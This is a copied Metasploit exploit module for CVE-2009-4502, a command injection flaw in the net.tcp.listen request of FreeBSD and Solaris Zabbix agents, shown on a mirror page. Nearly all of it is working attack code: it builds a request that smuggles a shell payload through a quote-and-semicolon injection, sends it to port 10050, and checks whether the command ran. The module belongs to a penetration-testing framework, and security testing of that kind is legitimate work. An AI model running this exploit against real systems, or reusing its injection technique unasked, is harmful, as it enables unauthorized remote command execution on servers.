Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/misc/zabbix_agent_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Zabbix Agent net.tcp.listen Command Injection',13'Description' => %q{14This module exploits a metacharacter injection vulnerability15in the FreeBSD and Solaris versions of the Zabbix agent. This flaw16can only be exploited if the attacker can hijack the IP address17of an authorized server (as defined in the configuration file).18},19'Author' => [ 'hdm' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2009-4502' ],24[ 'OSVDB', '60956' ],25[ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],26],27'Platform' => ['unix'],28'Arch' => ARCH_CMD,29'Privileged' => false,30'Payload' =>31{32'BadChars' => "'",33'Space' => 1024,34'DisableNops' => true,35'Compat' =>36{37'PayloadType' => 'cmd',38'RequiredCmd' => 'generic perl telnet',39}40},41'Targets' =>42[43[ 'Automatic Target', { }]44],45'DefaultTarget' => 0,46'DisclosureDate' => '2009-09-10'))4748register_options(49[50Opt::RPORT(10050)51])52end5354def exploit55connect5657rnd_port = rand(1024) + 158buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"5960print_status("Sending net.tcp.listen() request to the zabbix agent...")61sock.put(buf)6263res = nil64begin65res = sock.get_once(-1, 5)66rescue ::EOFError67end6869if ! res70print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")71disconnect72return73end7475if (res =~ /ZBX_NOTSUPPORTED/)76print_status("The zabbix agent is not running a vulnerable version or operating system.")77disconnect78return79end8081if(res !~ /ZBXD/)82print_status("The zabbix agent returned an unknown response.")83disconnect84return85end8687print_status("The zabbix agent should have executed our command.")88disconnect89end90end919293